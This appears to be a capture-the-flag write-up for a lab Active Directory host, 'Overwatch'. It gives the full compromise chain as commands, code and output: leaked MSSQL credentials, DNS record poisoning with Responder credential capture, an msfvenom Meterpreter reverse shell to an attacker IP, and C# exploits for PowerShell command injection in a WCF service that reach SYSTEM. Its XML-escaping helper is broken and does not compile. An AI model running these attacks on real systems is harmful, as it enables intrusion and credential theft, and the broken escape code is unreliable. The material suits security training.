1 RECON

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

Port Scanning
PORT      STATE    SERVICE       REASON      VERSION
53/tcp    open     tcpwrapped    syn-ack
88/tcp    open     kerberos-sec  syn-ack     Microsoft Windows Kerberos (server time: 2026-01-25 01:56:01Z)
135/tcp   open     msrpc         syn-ack     Microsoft Windows RPC
139/tcp   open     netbios-ssn   syn-ack     Microsoft Windows netbios-ssn
389/tcp   open     ldap          syn-ack     Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds? syn-ack
464/tcp   open     kpasswd5?     syn-ack
593/tcp   open     ncacn_http    syn-ack     Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped    syn-ack
3268/tcp  open     ldap          syn-ack     Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped    syn-ack
3389/tcp  open     ms-wbt-server syn-ack     Microsoft Terminal Services
|_ssl-date: 2026-01-25T01:57:43+00:00; -33s from scanner time.
| rdp-ntlm-info:
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-01-25T01:57:04+00:00
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Issuer: commonName=S200401.overwatch.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-12-07T15:16:06
| Not valid after:  2026-06-08T15:16:06
| MD5:   0da8:f9a5:d788:e363:07b1:5f70:6524:ffcb
| SHA-1: 3287:c62d:4408:7fbb:4038:00b3:32fa:da67:fb22:14bc
5985/tcp  open     http          syn-ack     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp  open     ms-sql-s      syn-ack     Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-01-25T01:57:43+00:00; -34s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-24T21:23:58
| Not valid after:  2056-01-24T21:23:58
| MD5:   67bb:e800:2ab5:736c:ce49:028e:f601:7bac
| SHA-1: c6fa:53cb:598a:ad79:dd5e:6866:3484:8e57:d354:a0fc
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
9389/tcp  open     mc-nmf        syn-ack     .NET Message Framing
49664/tcp open     msrpc         syn-ack     Microsoft Windows RPC
49668/tcp open     msrpc         syn-ack     Microsoft Windows RPC
53986/tcp open     msrpc         syn-ack     Microsoft Windows RPC
61781/tcp open     ncacn_http    syn-ack     Microsoft Windows RPC over HTTP 1.0
61782/tcp open     msrpc         syn-ack     Microsoft Windows RPC
64077/tcp filtered unknown       no-response
64686/tcp open     msrpc         syn-ack     Microsoft Windows RPC
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 63055/tcp): CLEAN (Timeout)
|   Check 2 (port 40169/tcp): CLEAN (Timeout)
|   Check 3 (port 56235/udp): CLEAN (Timeout)
|   Check 4 (port 17394/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -33s, deviation: 0s, median: -34s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-01-25T01:57:04
|_  start_date: N/A

High-signal factsL

  • Domain: overwatch.htb
  • Host: S200401.overwatch.htb
  • NetBIOS Domain: OVERWATCH
  • OS Build: 10.0.20348 → Windows Server 2022
  • AD services:
    • 53 DNS
    • 88 Kerberos
    • 389/636 LDAP/LDAPS
    • 3268/3269 Global Catalog
    • 445 SMB
  • Remote access:
    • 3389 RDP
    • 5985 WinRM
  • Database:
    • 6520 MSSQL Server 2022 (!!)

1.2 SMB Probing

First, let's probe SMB and see what we can enumerate.

Start with a NULL session attempt:

Bash
nxc smb <IP> -u '' -p '' --shares
nxc smb <IP> -u guest -p '' --shares

Result:

axura @ labyrinth :~
$ nxc smb overwatch.htb -u '' -p '' --shares
SMB         10.129.10.38   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.10.38   445    S200401          [+] overwatch.htb\:
SMB         10.129.10.38   445    S200401          [-] Error enumerating shares: STATUS_ACCESS_DENIED
$ nxc smb overwatch.htb -u 'guest' -p '' --shares
SMB         10.129.10.38   445    S200401          [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.10.38   445    S200401          [+] overwatch.htb\guest:
SMB         10.129.10.38   445    S200401          [*] Enumerated shares
SMB         10.129.10.38   445    S200401          Share           Permissions     Remark
SMB         10.129.10.38   445    S200401          -----           -----------     ------
SMB         10.129.10.38   445    S200401          ADMIN$                          Remote Admin
SMB         10.129.10.38   445    S200401          C$                              Default share
SMB         10.129.10.38   445    S200401          IPC$            READ            Remote IPC
SMB         10.129.10.38   445    S200401          NETLOGON                        Logon server share 
SMB         10.129.10.38   445    S200401          software$       READ            
SMB         10.129.10.38   445    S200401          SYSVOL                          Logon server share 

guest works and we've got READ on software$, which is 100% meant to leak creds / installers / configs.

2 USER

2.1 SMB

2.1.1 SMB Spidering

NetExec's spider module is perfect for recursive enumeration. With -o DOWNLOAD_FLAG=True, it automatically pulls everything to our host:

Bash
nxc smb overwatch.htb -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True

Downloaded contents from software$:

axura @ labyrinth :~
$ tree 10.129.10.38
10.129.10.38
└── software$
    └── Monitoring
        ├── Microsoft.Management.Infrastructure.dll
        ├── overwatch.exe
        ├── overwatch.exe.config
        └── overwatch.pdb

3 directories, 4 files

2.1.2 .NET App

This looks exactly like a .NET monitoring agent drop:

  • overwatch.exe → main service/app
  • overwatch.exe.config → App configuration
  • overwatch.pdb → debug symbols (namespaces, paths)
  • Microsoft.Management.Infrastructure.dll → hint of WMI/MI usage

2.1.2.1 Leaked Configs

Start with the XML config:

XML
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior>
          <serviceMetadata httpGetEnabled="True" />
          <serviceDebug includeExceptionDetailInFaults="True" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  <system.data>
    <DbProviderFactories>
      <remove invariant="System.Data.SQLite.EF6" />
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
    <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
  </system.data>
</configuration>

This config leaks a new service endpoint we didn't see in the external scan: MonitoringService at http://overwatch.htb:8000/MonitorService.

But it's not reachable from our side, so it's most likely internal-only (localhost / internal subnet binding).

2.1.2.2 APP Reversing

Next, we reverse overwatch.exe with dnSpy.

Quickly hit hardcoded MSSQL credentials:

C#
private readonly string connectionString =
"Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
  • User: sqlsvc
  • Pass: TI0LKcfHzZw1Vv
  • DB: SecurityLogs
  • Server: localhost

The app clearly expects SQL access locally, but MSSQL is exposed externally on port 6520 — so we'll try those creds remotely.

Bonus key finding: a clean code execution primitive in KillProcess():

C#
public string KillProcess(string processName)
{
    string scriptContents = "Stop-Process -Name " + processName + " -Force";
    pipeline.Commands.AddScript(scriptContents);
}

That's a straight PowerShell command injection sink if we can call the SOAP method and control processName.

Example dangerous payload conceptually:

C#
processName = "a; <payload>"

2.2 MSSQL

2.2.1 MSSQL Enumeration

With the creds from the .NET binary, we can connect to MSSQL on port 6520 using Impacket:

Bash
mssqlclient.py 'sqlsvc':'TI0LKcfHzZw1Vv'@overwatch.htb -windows-auth -port 6520

Quick enum:

axura @ labyrinth :~
$ mssqlclient.py 'sqlsvc':'TI0LKcfHzZw1Vv'@overwatch.htb -windows-auth -port 6520
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb2 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc  guest@master)> enum_
enum_db           enum_impersonate  enum_links        enum_logins       enum_owner        enum_users
SQL (OVERWATCH\sqlsvc  guest@master)> enum_db
name        is_trustworthy_on
---------   -----------------
master                      0
tempdb                      0
model                       0
msdb                        1
overwatch                   0
SQL (OVERWATCH\sqlsvc  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor
----------   --------   ---------------   ----------   -------   -------
SQL (OVERWATCH\sqlsvc  guest@master)> enum_links
SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL
Linked Server   Local Login   Is Self Mapping   Remote Login
-------------   -----------   ---------------   ------------
SQL (OVERWATCH\sqlsvc  guest@master)>

We immediately hit something interesting: a Linked Server named SQL07.

2.2.2 MSSQL Linked Server

Locally we're just guest@master, so the obvious next move is to pivot through the linked server:

axura @ labyrinth :~
SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07;
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a co
nnection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL S
erver Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].

This means there's no network path from S200401SQL07.

So the linked server exists in config, but S200401\SQLEXPRESS can't currently reach SQL07 (DNS / firewall / SQL service down / wrong instance name).

Also worth noting: SQL07 doesn't resolve externally, so we can identify it through SQL metadata:

SQL
SELECT name, data_source, provider, product FROM sys.servers;
EXEC sp_helpserver;

Result:

axura @ labyrinth :~
SQL (OVERWATCH\sqlsvc  guest@master)> SELECT name, data_source, provider, product FROM sys.servers;
name                 data_source          provider   product
------------------   ------------------   --------   ----------
S200401\SQLEXPRESS   S200401\SQLEXPRESS   SQLNCLI    SQL Server
SQL07                SQL07                SQLNCLI    SQL Server
SQL (OVERWATCH\sqlsvc  guest@master)> EXEC sp_helpserver;
name                                   network_name   status                                              id   collation_name   connect_timeout   query_timeout
------------------   ------------------------------   -----------------------------------------------   ----   --------------   ---------------   -------------
S200401\SQLEXPRESS   b'S200401\\SQLEXPRESS           '   b'rpc,rpc out,use remote collation'               b'0   '   NULL                    0               0
SQL07                b'SQL07                         '   b'rpc,rpc out,data access,use remote collation'   b'1   '   NULL                    0               0

This confirms SQL07 is an internal SQL host:

  • It's referenced by hostname only (SQL07)
  • That implies it's meant to resolve via internal AD DNS, exists only in the domain network

2.3 DNS

So far we know:

  • The linked server SQL07 exists
  • But access fails with timeout / server not found

That usually means one of three things:

  • SQL07 doesn't resolve in DNS
  • it resolves to the wrong place
  • or the network path is blocked (routing / firewall / service down)

From an attacker perspective, the fun scenario is name resolution. If we can write DNS, then:

We can MAKE SQL07 resolve to wherever we want.

Classic MITM territory.

2.3.1 MicrosoftDNS WRITE Priv

First, check what sqlsvc can write in AD using bloodyAD:

Bash
bloodyAD -H overwatch.htb \
         -d overwatch.htb \
         -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \
         get writable

Result:

axura @ labyrinth :~
$ bloodyAD -H overwatch.htb \
         -d overwatch.htb \
         -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \
         get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

sqlsvc has write power over DNS containers, including:

  • DomainDnsZones → The domain DNS zone container
  • MicrosoftDNS → The forest _msdcs DNS zone container

That CREATE_CHILD on MicrosoftDNS is the key: it means we can create DNS records, including SQL07.overwatch.htb — and point it to our attacker IP.

2.3.2 DNS Poisoning

Since sqlsvc can create child DNS objects, we can simply add a record for SQL07.

We used to leverage dnstool.py (krbrelayx/dnstool.py at master · dirkjanm/krbrelayx · GitHub) for this kinds of abuse (details in related writeups searching via Hacktag: Filter Hack Techs by Tags | AxuraAxura).

Tools like bloodyAD now support it directly as well.

2.3.2.1 Step 1 - Add New DNS Record

Using bloodyAD:

Bash
bloodyAD -H overwatch.htb \
         -d overwatch.htb \
         -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' \
         add dnsRecord SQL07 $attackerIp

2.3.2.2 Step 2 - Prepare MITM Listener

Start Responder:

Bash
sudo responder -I tun0

2.3.2.3 Step 3 - Coerce Auth Traffic

Now we just run use_link SQL07 again from our MSSQL session. This forces the SQL server to "reach out" to SQL07, which now resolves to us.

Responder catches the inbound auth:

axura @ labyrinth :~
[+] Listening for events...

[MSSQL] Cleartext Client   : 10.129.10.38
[MSSQL] Cleartext Hostname : SQL07
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

A full credential drop — in cleartext:

Creds
sqlmgmt: bIhBbzMMnB82yx

2.4 WinRM

Those creds work over WinRM:

axura @ labyrinth :~
$ nxc winrm overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
WINRM       10.129.10.38   5985   S200401          [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb)
WINRM       10.129.10.38   5985   S200401          [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)
$ evil-winrm -i overwatch.htb -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> type ..\desktop\user.txt
9*************************6

User flag secured.

3 ROOT

3.1 PID 4: HTTP.SYS Binding

Now that we have a WinRM foothold, the next thing to check is that suspicious port 8000 from the config leak.

Running netstat confirms it's actually listening:

axura @ labyrinth :~
*Evil-WinRM* PS C:\temp> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       924
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       924
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       692
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       424
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:6520           0.0.0.0:0              LISTENING       1324
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2916
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       692

Port 8000 is bound to PID 4, which means it's running behind SYSTEM via HTTP.SYS.

On Windows, listeners showing PID 4 usually belong to the kernel HTTP stack (HTTP.SYS) or core system services, not a normal userland process.

That's why it's common to see PID 4 on things like:

  • 445 SMB
  • 5985 WinRM (HTTP.SYS)
  • 47001 WinRM / WSMan

In our case, 8000 is also sitting behind SYSTEM — and since we already saw MonitoringService in the config, this instantly smells like a privesc path to SYSTEM.

To enumerate registered HTTP endpoints, we can dump the HTTP service state:

BAT (Batchfile)
netsh http show servicestate

Result:

axura @ labyrinth :~
*Evil-WinRM* PS C:\temp> netsh http show servicestate

Snapshot of HTTP service state (Server Session View):
-----------------------------------------------------

Server session ID: FF00000010000001
    Version: 1.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: FE00000020000001
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 2
            Registered URLs:
                HTTP://+:5985/WSMAN/
                HTTP://+:47001/WSMAN/

Server session ID: FF00000110000001
    Version: 2.0
    State: Active
    Properties:
        Max bandwidth: 4294967295
        Timeouts:
            Entity body timeout (secs): 120
            Drain entity body timeout (secs): 120
            Request queue timeout (secs): 120
            Idle connection timeout (secs): 120
            Header wait timeout (secs): 120
            Minimum send rate (bytes/sec): 150
    URL groups:
    URL group ID: FD00000020000001
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://+:8000/MONITORSERVICE/

Request queues:
    Request queue name: Request queue is unnamed.
        Version: 1.0
        State: Active
        Request queue 503 verbosity level: Basic
        Max requests: 1000
        Number of active processes attached: 1
        Processes:
            ID: 2528, image: <?>
        Registered URLs:
            HTTP://+:5985/WSMAN/
            HTTP://+:47001/WSMAN/

    Request queue name: Request queue is unnamed.
        Version: 2.0
        State: Active
        Request queue 503 verbosity level: Basic
        Max requests: 1000
        Number of active processes attached: 1
        Processes:
            ID: 4648, image: <?>
        Registered URLs:
            HTTP://+:8000/MONITORSERVICE/

The exact path for the target service is /MONITORSERVICE/:

Path
http://127.0.0.1:8000/MONITORSERVICE/

his isn't a normal IIS-style website.
It's a service endpoint, designed to expose callable methods over HTTP.

In other words: WCF.

3.2 Service Tech Stack

From the exfiltrated overwatch.exe.config:

XML
<system.serviceModel>
  <services>
    <service name="MonitoringService">
      ...
      <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
      <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
    </service>
  </services>
</system.serviceModel>
  • system.serviceModel = WCF configuration section (this is Microsoft's WCF stack)
  • endpoint ... binding="basicHttpBinding" = classic WCF SOAP binding
  • mexHttpBinding + IMetadataExchange = WCF metadata endpoint (MEX)

3.2.1 WCF

WCF (Windows Communication Foundation) is Microsoft's framework for building "network services". Think of it as Windows-style RPC over HTTP.

A service exposes methods like:

  • Register()
  • Login("user", "password")

…and clients call them remotely.

From decompilation, we saw:

C#
public class MonitoringService : IMonitoringService

That naming pattern is textbook WCF:

  • IMonitoringService = the "contract" (interface)
  • MonitoringService = the implementation

The methods also match the service-RPC style:

  • StartMonitoring()
  • StopMonitoring()
  • KillProcess(string processName)

More details: WCF and ASP.NET Web API - WCF | Microsoft Learn

3.2.2 SOAP

SOAP is an API protocol that wraps method calls in XML over HTTP.

Instead of REST JSON like:

HTTP
POST /kill
{"process":"notepad"}

SOAP sends an XML envelope like:

XML
<Envelope>
  <Body>
    <KillProcess>
      <processName>notepad</processName>
    </KillProcess>
  </Body>
</Envelope>

So essentially:

SOAP = "call remote functions using XML messages".

And since the config uses basicHttpBinding, this service is speaking SOAP over HTTP.

3.3 Service Endpoints

3.3.1 SOAP Metadata

The service is exposed via basicHttpBinding (SOAP over HTTP), and the config suggests metadata was intended:

XML
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />

In theory:

  • WSDL (?wsdl) is the SOAP "API blueprint" (operations + namespaces + request format).
  • MEX (/mex) is WCF's metadata exchange endpoint.

But in practice, both were not usable:

axura @ labyrinth :~
*Evil-WinRM* PS C:\temp> curl "http://127.0.0.1:8000/MONITORSERVICE/?wsdl"
The remote server returned an error: (400) Bad Request.
At line:1 char:1
+ curl "http://127.0.0.1:8000/MONITORSERVICE/?wsdl"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
*Evil-WinRM* PS C:\temp> iwr -UseBasicParsing http://127.0.0.1:8000/MONITORSERVICE/
The remote server returned an error: (400) Bad Request.
At line:1 char:1
+ iwr -UseBasicParsing http://127.0.0.1:8000/MONITORSERVICE/
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
  • GET /MONITORSERVICE/400 Bad Request
  • GET /MONITORSERVICE/?wsdl400 Bad Request

So instead of relying on WSDL/MEX, we derived the service contract by decompiling the .NET binary.

3.3.2 Contracts

In WCF, a contract is the service's exposed API. It defines:

  • which operations exist
  • what parameters they take
  • what they return
  • the interface/namespace identifying the service

In code, it's typically an interface marked with [ServiceContract], where each callable method is an [OperationContract].

From the decompiled interface IMonitoringService inside overwatch.exe:

C#
using System;  
using System.ServiceModel;  

// Token: 0x02000002 RID: 2  
[ServiceContract]  
public interface IMonitoringService  
{    
    // Token: 0x06000001 RID: 1    
    [OperationContract]    string StartMonitoring();    
    // Token: 0x06000002 RID: 2    
    [OperationContract]    string StopMonitoring();    
    // Token: 0x06000003 RID: 3    
    [OperationContract]    string KillProcess(string processName);  
}

Since metadata retrieval was dead, the binary became our source of truth — giving us the same intel WSDL normally would:

  • interface name: IMonitoringService
  • operations: StartMonitoring, StopMonitoring, KillProcess
  • parameter types: string processName

More detals: Contracts - WCF | Microsoft Learn

3.4 Command Injection Exploit

We already spotted the PowerShell injection sink back in section 2.1.2.2 while reversing overwatch.exe. The issue lives inside KillProcess():

C#
public string KillProcess(string processName)
{
    string scriptContents = "Stop-Process -Name " + processName + " -Force";
    pipeline.Commands.AddScript(scriptContents);
}

All we need is access to the WCF endpoint (http://127.0.0.1:8000/MONITORSERVICE/), then call KillProcess() and inject PowerShell via processName to get code execution.

3.4.1 MSF Setup:

Generate a Meterpreter payload:

Bash
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=$attackerIp \
    LPORT=443 \
    -f exe \
    -o msf.exe

Upload it to victim machine (C:\temp\msf.exe):

axura @ labyrinth :~
*Evil-WinRM* PS C:\temp> upload msf.exe

Info: Uploading /home/Axura/ctf/HTB/overwatch/msf.exe to C:\temp\msf.exe

Data: 10240 bytes of 10240 bytes copied

Info: Upload successful!

Start the handler:

axura @ labyrinth :~
$ sudo msfconsole -q
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
lhost => tun0
msf exploit(multi/handler) > set lport 443
lport => 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.12.37:443

3.4.2 Exp 1: WCF Client (ChannelFactory)

Since WSDL/MEX wasn't accessible, we interacted with the service by re-implementing the recovered interface and building a client via ChannelFactory (ChannelFactory Class (System.ServiceModel) | Microsoft Learn).

Create a simple wcf.cs:

C#
using System;
using System.ServiceModel;

[ServiceContract]
public interface IMonitoringService
{
    [OperationContract]
    string KillProcess(string processName);
}

class Program
{
    // [!] Command injection
    const string cmd = "Start-Process 'C:\\temp\\msf.exe'";  

    static void Main()
    {
        var binding = new BasicHttpBinding();
        var ep = new EndpointAddress("http://127.0.0.1:8000/MONITORSERVICE/");

        var proxy = new ChannelFactory<IMonitoringService>(binding, ep).CreateChannel();

        Console.WriteLine(proxy.KillProcess("notepad; " + cmd + "#"));
    }
}

Find csc.exe, compile, and run:

PowerShell
# common path searching for csc.exe
dir C:\Windows\Microsoft.NET\Framework64\*\csc.exe

# compile 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
/out:C:\temp\wcf.exe `
C:\temp\wcf.cs

# run
C:\temp\wcf.exe

MSF Captures a SYSTEM callback:

axura @ labyrinth :~
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.12.37:443
[*] Sending stage (230982 bytes) to 10.129.10.38
[*] Meterpreter session 1 opened (10.10.12.37:443 -> 10.129.10.38:50230) at 2026-01-24 23:17:
47 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cat C:\\Users\\Administrator\\Desktop\\root.txt
6****************************3

Rooted.

3.4.3 Exp 2: Manual SOAP

We can also hit the endpoint directly with a raw SOAP POST via native HttpWebRequest object:

C#
using System;
using System.Net;
using System.Text;
using System.IO;

class Program
{
    static void Main()
    {
        string url = "http://127.0.0.1:8000/MONITORSERVICE/";

        // [!] Command injection
        const string cmd = "Start-Process 'C:\\temp\\msf.exe'"; 

        // 2) SOAPAction header: method selector
        string soapAction = "http://tempuri.org/IMonitoringService/KillProcess";

        // 3) Build request body with the cmd inserted
        string processName = "notepad; " + cmd + "#";

        string soap =
            "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
            "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n" +
            "  <s:Body>\n" +
            "    <KillProcess xmlns=\"http://tempuri.org/\">\n" +
            "      <processName>" + SecurityElementEscape(processName) + "</processName>\n" +
            "    </KillProcess>\n" +
            "  </s:Body>\n" +
            "</s:Envelope>";

        var req = (HttpWebRequest)WebRequest.Create(url);
        req.Method = "POST";
        req.ContentType = "text/xml; charset=utf-8";
        req.Headers.Add("SOAPAction", soapAction);

        byte[] bytes = Encoding.UTF8.GetBytes(soap);
        req.ContentLength = bytes.Length;
        using (var s = req.GetRequestStream())
            s.Write(bytes, 0, bytes.Length);

        string resp = new StreamReader(req.GetResponse().GetResponseStream()).ReadToEnd();
        Console.WriteLine(resp);
    }

    // XML escaping for processName
    static string SecurityElementEscape(string s)
    {
        return s.Replace("&", "&")
                .Replace("<", "<")
                .Replace(">", ">")
                .Replace("\"", """)
                .Replace("'", "'");
    }
}

WCF uses the SOAPAction header to decide which method we are calling.

A SOAP request is basically two layers:

  1. HTTP headers (routing / metadata)
  2. SOAP XML body (the actual payload)

Normally, the SOAPAction and namespace come straight from WSDL. Since ?wsdl / MEX returned 400, we inferred the namespace manually. Many WCF services default to http://tempuri.org/.
Reference: Tempuri - Wikipedia

More details: Protocol headers - IBM Documentation

3.4.4 Exp 3: PowerShell WCF Client

